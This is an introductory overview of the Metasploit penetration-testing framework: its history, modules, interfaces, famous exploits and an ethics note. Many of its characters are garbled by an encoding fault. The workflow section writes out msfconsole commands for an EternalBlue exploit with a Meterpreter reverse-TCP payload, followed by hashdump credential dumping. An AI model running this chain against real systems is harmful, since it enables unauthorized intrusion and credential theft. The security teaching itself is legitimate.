Metasploit is an open-source penetration testing framework used for developing, testing, and executing exploits against remote targets.
- Created in 2003 by H.D. Moore
- Acquired by Rapid7 in 2009
- Written mainly in Ruby, with some components in C and Python
๐ Think of Metasploit as a Swiss Army knife for penetration testers and red teamers.
- โ
Exploit Development โ Build and test custom exploits safely
- โ
Penetration Testing โ Simulate real-world attacks
- โ
Post-Exploitation โ Maintain access, escalate privileges, gather credentials
- โ
Research & Learning โ Safe way to study vulnerabilities
- Exploits โ Code that takes advantage of a vulnerability
- Example: EternalBlue (MS17-010)
- Payloads โ Code executed on the target after successful exploitation
- Singles โ Standalone (e.g., add a user)
- Stagers โ Small loader that sets up connection
- Stages โ Larger payloads delivered by stagers (e.g., Meterpreter)
- Meterpreter โ Advanced payload that runs in memory
- File transfer
- Privilege escalation
- Keylogging
- Pivoting
- Auxiliary Modules โ Non-exploit tools (scanning, fuzzing, DoS, etc.)
- Encoders โ Evade AV/IDS
- NOPS โ Execution stability fillers
๐ 4. Interfaces
- msfconsole โ Main CLI
- msfvenom โ Create payloads
- Armitage โ GUI (legacy)
- Metasploit Pro โ Paid version with reporting & automation
๐ 5. Common Workflow
- Information Gathering
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.100
run
-
Vulnerability Scanning
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.100
run
-
Exploitation
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
run
-
Post-Exploitation
getuid
sysinfo
hashdump
migrate
๐ 6. Real-World Exploits
- MS08-067 (Conficker Worm) โ Windows RPC exploit
- MS17-010 (EternalBlue) โ SMBv1 exploit (WannaCry)
- Shellshock โ Bash vulnerability
- BlueKeep (CVE-2019-0708) โ RDP exploit
๐ 7. Advantages
- Open-source and extensible
- Large exploit & payload library
- Integrates with Nmap, Nessus, Burp Suite
- Huge community support
๐ 8. Limitations
- Can be detected by AV/EDR
- Requires frequent updates
- Not all exploits are stable
๐ 9. Ethical Use โ ๏ธ
Metasploit is extremely powerful.
- Use only on systems you own or have written permission to test
- Illegal use โ serious legal consequences
๐ 10. Learning Resources
- ๐ Metasploit Documentation
- ๐ฏ TryHackMe: Metasploit Rooms
- ๐ฎ HackTheBox Labs
- ๐ Metasploit: The Penetration Testerโs Guide
โจ In short:
Metasploit is the industry-standard exploitation framework that combines reconnaissance, exploitation, payload delivery, and post-exploitation into one tool.
```